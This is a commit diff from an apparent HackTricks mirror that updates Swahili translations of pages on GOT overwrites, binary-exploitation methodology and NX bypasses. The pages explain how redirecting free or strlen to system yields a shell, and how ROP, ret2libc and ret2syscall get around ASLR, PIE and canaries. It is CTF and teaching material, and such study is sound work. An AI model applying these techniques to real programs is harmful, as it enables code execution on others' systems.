mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-
This commit is contained in:
		
							parent
							
								
									4d7869b2ec
								
							
						
					
					
						commit
						adb546aec7
					
				@ -2,23 +2,23 @@
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## **Taarifa za Msingi**
 | 
			
		||||
## **Basic Information**
 | 
			
		||||
 | 
			
		||||
### **GOT: Jedwali la Uhamisho wa Kimataifa**
 | 
			
		||||
### **GOT: Global Offset Table**
 | 
			
		||||
 | 
			
		||||
**Jedwali la Uhamisho wa Kimataifa (GOT)** ni mekanizma inayotumika katika binaries zinazounganishwa kwa njia ya kidinamikali ili kudhibiti **anwani za kazi za nje**. Kwa kuwa **anwani hizi hazijulikani hadi wakati wa utekelezaji** (kwa sababu ya uunganishaji wa kidinamikali), GOT inatoa njia ya **kisasisha anwani za alama hizi za nje** mara tu zinapokuwa zimeamuliwa.
 | 
			
		||||
**Global Offset Table (GOT)** ni mekanizma inayotumika katika binaries zilizounganishwa kwa njia ya dynamic ili kudhibiti **anwani za kazi za nje**. Kwa kuwa **anwani hizi hazijulikani hadi wakati wa utekelezaji** (kwa sababu ya uunganishaji wa dynamic), GOT inatoa njia ya **kupdate anwani za alama hizi za nje** mara tu zinapokuwa zimepatiwa.
 | 
			
		||||
 | 
			
		||||
Kila kipengele katika GOT kinahusiana na alama katika maktaba za nje ambazo binary inaweza kuita. Wakati **kazi inapoitwa kwa mara ya kwanza, anwani yake halisi inamuliwa na linker ya kidinamikali na kuhifadhiwa katika GOT**. Kuitwa kwa kazi hiyo tena hutumia anwani iliyohifadhiwa katika GOT, hivyo kuepuka mzigo wa kuamua anwani hiyo tena.
 | 
			
		||||
Kila kipengele katika GOT kinahusiana na alama katika maktaba za nje ambazo binary inaweza kuita. Wakati **kazi inapoitwa kwa mara ya kwanza, anwani yake halisi inapatikana na linker wa dynamic na kuhifadhiwa katika GOT**. Kuitwa kwa kazi hiyo tena hutumia anwani iliyohifadhiwa katika GOT, hivyo kuzuia mzigo wa kutafuta anwani hiyo tena.
 | 
			
		||||
 | 
			
		||||
### **PLT: Jedwali la Uunganishaji wa Taratibu**
 | 
			
		||||
### **PLT: Procedure Linkage Table**
 | 
			
		||||
 | 
			
		||||
**Jedwali la Uunganishaji wa Taratibu (PLT)** linafanya kazi kwa karibu na GOT na hutumikia kama trampoline kushughulikia simu za kazi za nje. Wakati binary **inapoiita kazi ya nje kwa mara ya kwanza, udhibiti unapelekwa kwa kipengele katika PLT kinachohusiana na kazi hiyo**. Kipengele hiki cha PLT kinawajibika kwa kuita linker ya kidinamikali ili kuamua anwani ya kazi hiyo ikiwa haijakuwa imeamuliwa tayari. Baada ya anwani hiyo kuamuliwa, inahifadhiwa katika **GOT**.
 | 
			
		||||
**Procedure Linkage Table (PLT)** inafanya kazi kwa karibu na GOT na inatumika kama trampoline kushughulikia simu za kazi za nje. Wakati binary **inapoiita kazi ya nje kwa mara ya kwanza, udhibiti unapelekwa kwa kipengele katika PLT kinachohusiana na kazi hiyo**. Kipengele hiki cha PLT kinawajibika kwa kuita linker wa dynamic ili kutafuta anwani ya kazi hiyo ikiwa haijapatikana tayari. Baada ya anwani kupatikana, inahifadhiwa katika **GOT**.
 | 
			
		||||
 | 
			
		||||
**Hivyo,** vipengele vya GOT vinatumika moja kwa moja mara tu anwani ya kazi au variable ya nje inapoamuliwa. **Vipengele vya PLT vinatumika kuwezesha uamuzi wa awali** wa anwani hizi kupitia linker ya kidinamikali.
 | 
			
		||||
**Hivyo,** vipengele vya GOT vinatumika moja kwa moja mara tu anwani ya kazi au variable ya nje inapokuwa imepatiwa. **Vipengele vya PLT vinatumika kuwezesha kutafuta awali** za anwani hizi kupitia linker wa dynamic.
 | 
			
		||||
 | 
			
		||||
## Pata Utekelezaji
 | 
			
		||||
## Get Execution
 | 
			
		||||
 | 
			
		||||
### Angalia GOT
 | 
			
		||||
### Check the GOT
 | 
			
		||||
 | 
			
		||||
Pata anwani ya jedwali la GOT kwa: **`objdump -s -j .got ./exec`**
 | 
			
		||||
 | 
			
		||||
@ -34,54 +34,54 @@ Kwa kutumia GEF unaweza **kuanza** kikao cha **debugging** na kutekeleza **`got`
 | 
			
		||||
 | 
			
		||||
### GOT2Exec
 | 
			
		||||
 | 
			
		||||
Katika binary GOT ina **anwani za kazi au** kwa **sehemu ya PLT** ambayo itapakia anwani ya kazi. Lengo la kuandika hii bila mpangilio ni **kufuta kipengele cha GOT** cha kazi ambayo itatekelezwa baadaye **na** **anwani** ya PLT ya **`system`** **kazi** kwa mfano.
 | 
			
		||||
Katika binary GOT ina **anwani za kazi au** sehemu ya **PLT** ambayo itapakia anwani ya kazi. Lengo la kuandika bila mpangilio hili ni **kuziba kipengele cha GOT** cha kazi ambayo itatekelezwa baadaye **na** **anwani** ya PLT ya **`system`** **kazi** kwa mfano.
 | 
			
		||||
 | 
			
		||||
Kwa njia bora, utakuwa **unafuta** **GOT** ya **kazi** ambayo **itaitwa na vigezo vinavyodhibitiwa na wewe** (hivyo utaweza kudhibiti vigezo vinavyotumwa kwa kazi ya mfumo).
 | 
			
		||||
Kwa kawaida, utakuwa **ukiziba** **GOT** ya **kazi** ambayo **itaitwa na vigezo vinavyodhibitiwa na wewe** (hivyo utaweza kudhibiti vigezo vinavyotumwa kwa kazi ya mfumo).
 | 
			
		||||
 | 
			
		||||
Ikiwa **`system`** **haitumiki** na binary, kazi ya mfumo **haitakuwa** na kipengele katika PLT. Katika hali hii, utahitaji **kuvuja kwanza anwani** ya kazi ya `system` na kisha kufuta GOT ili kuelekeza kwenye anwani hii.
 | 
			
		||||
Ikiwa **`system`** **haitumiki** na binary, kazi ya mfumo **haitakuwa** na kipengele katika PLT. Katika hali hii, utahitaji **kuvuja kwanza anwani** ya kazi ya `system` na kisha kubadilisha GOT ili kuelekeza kwenye anwani hii.
 | 
			
		||||
 | 
			
		||||
Unaweza kuona anwani za PLT kwa **`objdump -j .plt -d ./vuln_binary`**
 | 
			
		||||
 | 
			
		||||
## vipengele vya GOT vya libc
 | 
			
		||||
## libc GOT entries
 | 
			
		||||
 | 
			
		||||
**GOT ya libc** kwa kawaida inajumuishwa na **partial RELRO**, na kuifanya kuwa lengo zuri kwa hii ikiwa inawezekana kubaini anwani yake ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
 | 
			
		||||
**GOT ya libc** kwa kawaida inakusanywa na **partial RELRO**, na kuifanya kuwa lengo zuri kwa hili ikiwa inawezekana kubaini anwani yake ([**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)).
 | 
			
		||||
 | 
			
		||||
Kazi za kawaida za libc zitaita **kazi nyingine za ndani** ambazo GOT yake inaweza kufutwa ili kupata utekelezaji wa msimbo.
 | 
			
		||||
Kazi za kawaida za libc zitaita **kazi nyingine za ndani** ambazo GOT yake inaweza kubadilishwa ili kupata utekelezaji wa msimbo.
 | 
			
		||||
 | 
			
		||||
Pata [**maelezo zaidi kuhusu mbinu hii hapa**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
 | 
			
		||||
 | 
			
		||||
### **Free2system**
 | 
			
		||||
 | 
			
		||||
Katika uhalifu wa heap CTFs ni kawaida kuwa na uwezo wa kudhibiti maudhui ya vipande na kwa wakati fulani hata kufuta jedwali la GOT. Njia rahisi ya kupata RCE ikiwa gadgets moja hazipatikani ni kufuta anwani ya `free` GOT ili kuelekeza kwenye `system` na kuandika ndani ya kipande `"/bin/sh"`. Kwa njia hii wakati kipande hiki kinapofutwa, kitatekeleza `system("/bin/sh")`.
 | 
			
		||||
Katika uhalifu wa heap CTFs ni kawaida kuwa na uwezo wa kudhibiti maudhui ya chunks na kwa wakati fulani hata kubadilisha jedwali la GOT. Njia rahisi ya kupata RCE ikiwa gadgets moja hazipatikani ni kubadilisha anwani ya `free` GOT ili kuelekeza kwenye `system` na kuandika ndani ya chunk `"/bin/sh"`. Kwa njia hii wakati chunk hii itakapofutwa, itatekeleza `system("/bin/sh")`.
 | 
			
		||||
 | 
			
		||||
### **Strlen2system**
 | 
			
		||||
 | 
			
		||||
Mbinu nyingine ya kawaida ni kufuta anwani ya **`strlen`** GOT ili kuelekeza kwenye **`system`**, hivyo ikiwa kazi hii itaombwa na maoni ya mtumiaji inawezekana kupitisha mfuatano `"/bin/sh"` na kupata shell.
 | 
			
		||||
Mbinu nyingine ya kawaida ni kubadilisha anwani ya **`strlen`** GOT ili kuelekeza kwenye **`system`**, hivyo ikiwa kazi hii itaombwa na pembejeo ya mtumiaji inawezekana kupitisha mfuatano `"/bin/sh"` na kupata shell.
 | 
			
		||||
 | 
			
		||||
Zaidi ya hayo, ikiwa `puts` inatumika na maoni ya mtumiaji, inawezekana kufuta anwani ya `strlen` GOT ili kuelekeza kwenye `system` na kupitisha mfuatano `"/bin/sh"` ili kupata shell kwa sababu **`puts` itaita `strlen` na maoni ya mtumiaji**.
 | 
			
		||||
Zaidi ya hayo, ikiwa `puts` inatumika na pembejeo ya mtumiaji, inawezekana kubadilisha anwani ya `strlen` GOT ili kuelekeza kwenye `system` na kupitisha mfuatano `"/bin/sh"` ili kupata shell kwa sababu **`puts` itaita `strlen` na pembejeo ya mtumiaji**.
 | 
			
		||||
 | 
			
		||||
## **Gadget Moja**
 | 
			
		||||
## **One Gadget**
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../rop-return-oriented-programing/ret2lib/one-gadget.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
## **Kunyanyasa GOT kutoka Heap**
 | 
			
		||||
## **Abusing GOT from Heap**
 | 
			
		||||
 | 
			
		||||
Njia ya kawaida ya kupata RCE kutoka kwa udhaifu wa heap ni kunyanyasa fastbin ili iwezekane kuongeza sehemu ya jedwali la GOT ndani ya fast bin, hivyo kila wakati kipande hicho kinapopangwa itakuwa inawezekana **kufuta kiashiria cha kazi, kawaida `free`**.\
 | 
			
		||||
Kisha, kuelekeza `free` kwenye `system` na kufuta kipande ambacho kimeandikwa `/bin/sh\x00` kutatekeleza shell.
 | 
			
		||||
Njia ya kawaida ya kupata RCE kutoka kwa udhaifu wa heap ni kutumia fastbin ili iwezekane kuongeza sehemu ya jedwali la GOT ndani ya fast bin, hivyo kila wakati chunk hiyo itakapopangwa itakuwa inawezekana **kuziba kiashiria cha kazi, kawaida `free`**.\
 | 
			
		||||
Kisha, kuelekeza `free` kwenye `system` na kufuta chunk ambapo ilandikwa `/bin/sh\x00` itatekeleza shell.
 | 
			
		||||
 | 
			
		||||
Inawezekana kupata [**mfano hapa**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.**
 | 
			
		||||
 | 
			
		||||
## **Ulinzi**
 | 
			
		||||
## **Protections**
 | 
			
		||||
 | 
			
		||||
Ulinzi wa **Full RELRO** unakusudia kulinda dhidi ya aina hii ya mbinu kwa kuamua anwani zote za kazi wakati binary inapoanzishwa na kufanya jedwali la **GOT kuwa lisiloweza kusomeka** baada ya hapo:
 | 
			
		||||
Ulinzi wa **Full RELRO** unakusudia kulinda dhidi ya aina hii ya mbinu kwa kutafuta anwani zote za kazi wakati binary inapoanzishwa na kufanya jedwali la **GOT kuwa lisilosomeka** baada ya hapo:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../common-binary-protections-and-bypasses/relro.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
## Marejeleo
 | 
			
		||||
## References
 | 
			
		||||
 | 
			
		||||
- [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
 | 
			
		||||
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
 | 
			
		||||
 | 
			
		||||
@ -1,4 +1,4 @@
 | 
			
		||||
# Msingi wa Mbinu za Ukatili wa Kihandisi
 | 
			
		||||
# Msingi wa Mbinu za Ukatili wa Binafsi
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -10,7 +10,7 @@ Kabla ya kuanza kutumia chochote, ni muhimu kuelewa sehemu ya muundo wa **ELF bi
 | 
			
		||||
elf-tricks.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
## Zana za Ukatili
 | 
			
		||||
## Zana za Kutumia
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
tools/
 | 
			
		||||
@ -24,11 +24,11 @@ Kwa mbinu nyingi, ni vizuri kuwa na mpango wa wakati mbinu kila moja itakuwa na
 | 
			
		||||
 | 
			
		||||
Kuna njia tofauti ambazo unaweza kumaliza kudhibiti mchakato wa programu:
 | 
			
		||||
 | 
			
		||||
- [**Stack Overflows**](../stack-overflow/) kuandika upya kiashiria cha kurudi kutoka kwenye stack au EBP -> ESP -> EIP.
 | 
			
		||||
- [**Stack Overflows**](../stack-overflow/index.html) kuandika upya kiashiria cha kurudi kutoka kwenye stack au EBP -> ESP -> EIP.
 | 
			
		||||
- Inaweza kuhitaji kutumia [**Integer Overflows**](../integer-overflow.md) ili kusababisha overflow
 | 
			
		||||
- Au kupitia **Arbitrary Writes + Write What Where to Execution**
 | 
			
		||||
- [**Format strings**](../format-strings/)**:** Tumia `printf` kuandika maudhui yasiyo na mipaka katika anwani zisizo na mipaka.
 | 
			
		||||
- [**Array Indexing**](../array-indexing.md): Tumia mbinu mbaya ya indexing ili uweze kudhibiti baadhi ya arrays na kupata kuandika yasiyo na mipaka.
 | 
			
		||||
- [**Format strings**](../format-strings/index.html)**:** Tumia `printf` kuandika maudhui yasiyo na mipaka katika anwani zisizo na mipaka.
 | 
			
		||||
- [**Array Indexing**](../array-indexing.md): Tumia muundo mbaya wa indexing ili uweze kudhibiti baadhi ya arrays na kupata kuandika yasiyo na mipaka.
 | 
			
		||||
- Inaweza kuhitaji kutumia [**Integer Overflows**](../integer-overflow.md) ili kusababisha overflow
 | 
			
		||||
- **bof to WWW kupitia ROP**: Tumia overflow ya buffer kujenga ROP na uweze kupata WWW.
 | 
			
		||||
 | 
			
		||||
@ -51,17 +51,17 @@ Kitu cha kuzingatia ni kwamba kawaida **ku exploit udhaifu mmoja hakutoshi** kut
 | 
			
		||||
 | 
			
		||||
### Lengo: Kuita kazi iliyopo
 | 
			
		||||
 | 
			
		||||
- [**ret2win**](#ret2win): Kuna kazi katika msimbo unahitaji kuitia (labda na baadhi ya parameta maalum) ili kupata bendera.
 | 
			
		||||
- Katika **bof ya kawaida bila** [**PIE**](../common-binary-protections-and-bypasses/pie/) **na** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) unahitaji tu kuandika anwani katika anwani ya kurudi iliyohifadhiwa kwenye stack.
 | 
			
		||||
- Katika bof yenye [**PIE**](../common-binary-protections-and-bypasses/pie/), utahitaji kupita
 | 
			
		||||
- Katika bof yenye [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), utahitaji kupita
 | 
			
		||||
- Ikiwa unahitaji kuweka parameta kadhaa ili kuitia kazi ya **ret2win** kwa usahihi unaweza kutumia:
 | 
			
		||||
- Mnyororo wa [**ROP**](#rop-and-ret2...-techniques) **ikiwa kuna gadgets za kutosha** kuandaa parameta zote
 | 
			
		||||
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (ikiwa unaweza kuita syscall hii) kudhibiti register nyingi
 | 
			
		||||
- Gadgets kutoka [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) na [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) kudhibiti register kadhaa
 | 
			
		||||
- Kupitia [**Write What Where**](../arbitrary-write-2-exec/) unaweza kutumia udhaifu mwingine (sio bof) kuita kazi ya **`win`**.
 | 
			
		||||
- [**ret2win**](#ret2win): Kuna kazi katika msimbo unahitaji kuitwa (labda na baadhi ya parameta maalum) ili kupata bendera.
 | 
			
		||||
- Katika **bof ya kawaida bila** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **na** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) unahitaji tu kuandika anwani katika anwani ya kurudi iliyohifadhiwa kwenye stack.
 | 
			
		||||
- Katika bof yenye [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), itabidi upite
 | 
			
		||||
- Katika bof yenye [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html), itabidi upite
 | 
			
		||||
- Ikiwa unahitaji kuweka parameta kadhaa ili kuitisha kazi ya **ret2win** ipasavyo unaweza kutumia:
 | 
			
		||||
- Mnyororo wa [**ROP**](#rop-and-ret2...-techniques) **ikiwa kuna vifaa vya kutosha** kuandaa parameta zote
 | 
			
		||||
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) (ikiwa unaweza kuita syscall hii) kudhibiti register nyingi
 | 
			
		||||
- Vifaa kutoka [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) na [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) kudhibiti register kadhaa
 | 
			
		||||
- Kupitia [**Write What Where**](../arbitrary-write-2-exec/index.html) unaweza kutumia udhaifu mwingine (sio bof) kuitisha kazi ya **`win`**.
 | 
			
		||||
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Ikiwa stack ina viashiria vya kazi ambavyo vitaitwa au kwa string ambayo itatumika na kazi ya kuvutia (system au printf), inawezekana kuandika upya anwani hiyo.
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) au [**PIE**](../common-binary-protections-and-bypasses/pie/) inaweza kuathiri anwani.
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) au [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) inaweza kuathiri anwani.
 | 
			
		||||
- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): Hujui kamwe.
 | 
			
		||||
 | 
			
		||||
### Lengo: RCE
 | 
			
		||||
@ -69,30 +69,30 @@ Kitu cha kuzingatia ni kwamba kawaida **ku exploit udhaifu mmoja hakutoshi** kut
 | 
			
		||||
#### Kupitia shellcode, ikiwa nx imezimwa au kuchanganya shellcode na ROP:
 | 
			
		||||
 | 
			
		||||
- [**(Stack) Shellcode**](#stack-shellcode): Hii ni muhimu kuhifadhi shellcode kwenye stack kabla au baada ya kuandika upya kiashiria cha kurudi na kisha **kuruka kwake** ili kuitekeleza:
 | 
			
		||||
- **Katika hali yoyote, ikiwa kuna** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** katika bof ya kawaida utahitaji kupita (leak) hiyo
 | 
			
		||||
- **Bila** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **na** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) inawezekana kuruka kwenye anwani ya stack kwani haitabadilika kamwe
 | 
			
		||||
- **Na** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) utahitaji mbinu kama [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) ili kuruka kwake
 | 
			
		||||
- **Na** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), utahitaji kutumia baadhi ya [**ROP**](../rop-return-oriented-programing/) **kuita `memprotect`** na kufanya baadhi ya ukurasa `rwx`, ili kisha **kuhifadhi shellcode humo** (kuita kusoma kwa mfano) na kisha kuruka huko.
 | 
			
		||||
- **Katika hali yoyote, ikiwa kuna** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)**,** katika bof ya kawaida itabidi upite (leak) hiyo
 | 
			
		||||
- **Bila** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **na** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) inawezekana kuruka kwenye anwani ya stack kwani haitabadilika kamwe
 | 
			
		||||
- **Na** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) itabidi utumie mbinu kama [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) ili kuruka kwake
 | 
			
		||||
- **Na** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), itabidi utumie baadhi ya [**ROP**](../rop-return-oriented-programing/index.html) **kuitisha `memprotect`** na kufanya kurasa kuwa `rwx`, ili kisha **kuhifadhi shellcode humo** (kuitisha kusoma kwa mfano) na kisha kuruka humo.
 | 
			
		||||
- Hii itachanganya shellcode na mnyororo wa ROP.
 | 
			
		||||
 | 
			
		||||
#### Kupitia syscalls
 | 
			
		||||
 | 
			
		||||
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Inatumika kuita `execve` ili kuendesha amri zisizo na mipaka. Unahitaji kuwa na uwezo wa kupata **gadgets za kuita syscall maalum na parameta**.
 | 
			
		||||
- Ikiwa [**ASLR**](../common-binary-protections-and-bypasses/aslr/) au [**PIE**](../common-binary-protections-and-bypasses/pie/) zimewezeshwa utahitaji kuzishinda **ili kutumia gadgets za ROP** kutoka kwa binary au maktaba.
 | 
			
		||||
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) inaweza kuwa muhimu kuandaa **ret2execve**
 | 
			
		||||
- Gadgets kutoka [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) na [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) kudhibiti register kadhaa
 | 
			
		||||
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): Inatumika kuitisha `execve` ili kuendesha amri zisizo na mipaka. Unahitaji kuwa na uwezo wa kupata **vifaa vya kuitisha syscall maalum na parameta**.
 | 
			
		||||
- Ikiwa [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) au [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) zimewezeshwa itabidi uzishinde **ili kutumia vifaa vya ROP** kutoka kwa binary au maktaba.
 | 
			
		||||
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) inaweza kuwa muhimu kuandaa **ret2execve**
 | 
			
		||||
- Vifaa kutoka [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) na [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) kudhibiti register kadhaa
 | 
			
		||||
 | 
			
		||||
#### Kupitia libc
 | 
			
		||||
 | 
			
		||||
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Inatumika kuita kazi kutoka maktaba (kawaida kutoka **`libc`**) kama **`system`** na baadhi ya hoja zilizopangwa (kwa mfano `'/bin/sh'`). Unahitaji binary ili **kupakia maktaba** yenye kazi unayotaka kuita (libc kawaida).
 | 
			
		||||
- Ikiwa **imeandikwa kwa statically na hakuna** [**PIE**](../common-binary-protections-and-bypasses/pie/), **anwani** ya `system` na `/bin/sh` haitabadilika, hivyo inawezekana kuzitumia kwa statically.
 | 
			
		||||
- **Bila** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **na kujua toleo la libc** lililopakiwa, **anwani** ya `system` na `/bin/sh` haitabadilika, hivyo inawezekana kuzitumia kwa statically.
 | 
			
		||||
- Na [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **lakini hakuna** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, kujua libc na binary ikitumia kazi ya `system` inawezekana **`ret` kwa anwani ya system katika GOT** na anwani ya `'/bin/sh'` katika param (utahitaji kufahamu hili).
 | 
			
		||||
- Na [ASLR](../common-binary-protections-and-bypasses/aslr/) lakini hakuna [PIE](../common-binary-protections-and-bypasses/pie/), kujua libc na **bila binary ikitumia `system`**:
 | 
			
		||||
- Tumia [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) kutatua anwani ya `system` na kuitumia
 | 
			
		||||
- **Pitisha** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) na kuhesabu anwani ya `system` na `'/bin/sh'` katika kumbukumbu.
 | 
			
		||||
- **Na** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **na** [**PIE**](../common-binary-protections-and-bypasses/pie/) **na bila kujua libc**: Unahitaji:
 | 
			
		||||
- Pitisha [**PIE**](../common-binary-protections-and-bypasses/pie/)
 | 
			
		||||
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): Inatumika kuitisha kazi kutoka maktaba (kawaida kutoka **`libc`**) kama **`system`** na baadhi ya hoja zilizopangwa (mfano `'/bin/sh'`). Unahitaji binary ili **kupakia maktaba** yenye kazi unayotaka kuitisha (libc kawaida).
 | 
			
		||||
- Ikiwa **imeandikwa kwa statically na hakuna** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), **anwani** ya `system` na `/bin/sh` haitabadilika, hivyo inawezekana kuzitumia kwa statically.
 | 
			
		||||
- **Bila** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **na kujua toleo la libc** lililopakiwa, **anwani** ya `system` na `/bin/sh` haitabadilika, hivyo inawezekana kuzitumia kwa statically.
 | 
			
		||||
- Na [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **lakini hakuna** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)**, kujua libc na binary ikitumia kazi ya `system` inawezekana **`ret` kwa anwani ya system katika GOT** na anwani ya `'/bin/sh'` katika param (utahitaji kufahamu hili).
 | 
			
		||||
- Na [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) lakini hakuna [PIE](../common-binary-protections-and-bypasses/pie/index.html), kujua libc na **bila binary ikitumia `system`** :
 | 
			
		||||
- Tumia [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) kutatua anwani ya `system` na kuitisha
 | 
			
		||||
- **Pitisha** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) na kuhesabu anwani ya `system` na `'/bin/sh'` katika kumbukumbu.
 | 
			
		||||
- **Na** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **na** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **na kutokujua libc**: Unahitaji:
 | 
			
		||||
- Pitisha [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)
 | 
			
		||||
- Pata **`libc` version** iliyotumika (leak anwani kadhaa za kazi)
 | 
			
		||||
- Angalia **hali za awali na ASLR** ili kuendelea.
 | 
			
		||||
 | 
			
		||||
@ -105,7 +105,7 @@ Kitu cha kuzingatia ni kwamba kawaida **ku exploit udhaifu mmoja hakutoshi** kut
 | 
			
		||||
#### Mambo Mengine
 | 
			
		||||
 | 
			
		||||
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Ikiwa stack ina viashiria vya kazi ambavyo vitaitwa au kwa string ambayo itatumika na kazi ya kuvutia (system au printf), inawezekana kuandika upya anwani hiyo.
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) au [**PIE**](../common-binary-protections-and-bypasses/pie/) inaweza kuathiri anwani.
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) au [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) inaweza kuathiri anwani.
 | 
			
		||||
- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): Hujui kamwe.
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -4,13 +4,13 @@
 | 
			
		||||
 | 
			
		||||
## Basic Information
 | 
			
		||||
 | 
			
		||||
**No-Execute (NX)** bit, pia inajulikana kama **Execute Disable (XD)** katika terminolojia ya Intel, ni kipengele cha usalama wa vifaa kilichoundwa ili **kupunguza** athari za mashambulizi ya **buffer overflow**. Wakati inatekelezwa na kuwezeshwa, inatofautisha kati ya maeneo ya kumbukumbu ambayo yanakusudiwa kwa **executable code** na yale yanayokusudiwa kwa **data**, kama vile **stack** na **heap**. Wazo kuu ni kuzuia mshambuliaji kutekeleza msimbo mbaya kupitia udhaifu wa buffer overflow kwa kuweka msimbo mbaya kwenye stack kwa mfano na kuelekeza mtiririko wa utekelezaji kwake.
 | 
			
		||||
Bit ya **No-Execute (NX)**, inayojulikana pia kama **Execute Disable (XD)** katika terminolojia ya Intel, ni kipengele cha usalama wa vifaa kilichoundwa ili **kupunguza** athari za mashambulizi ya **buffer overflow**. Wakati inatekelezwa na kuwezeshwa, inatofautisha kati ya maeneo ya kumbukumbu ambayo yanakusudiwa kwa **kodi inayoweza kutekelezwa** na yale yanayokusudiwa kwa **data**, kama vile **stack** na **heap**. Wazo kuu ni kuzuia mshambuliaji kutekeleza kodi mbaya kupitia udhaifu wa buffer overflow kwa kuweka kodi mbaya kwenye stack kwa mfano na kuelekeza mtiririko wa utekelezaji kwake.
 | 
			
		||||
 | 
			
		||||
## Bypasses
 | 
			
		||||
 | 
			
		||||
- Inawezekana kutumia mbinu kama [**ROP**](../rop-return-oriented-programing/) **kuvuka** ulinzi huu kwa kutekeleza vipande vya msimbo wa executable ambavyo tayari vipo kwenye binary.
 | 
			
		||||
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
 | 
			
		||||
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
 | 
			
		||||
- Inawezekana kutumia mbinu kama [**ROP**](../rop-return-oriented-programing/index.html) **kuvuka** ulinzi huu kwa kutekeleza vipande vya kodi inayoweza kutekelezwa ambavyo tayari vipo kwenye binary.
 | 
			
		||||
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/index.html)
 | 
			
		||||
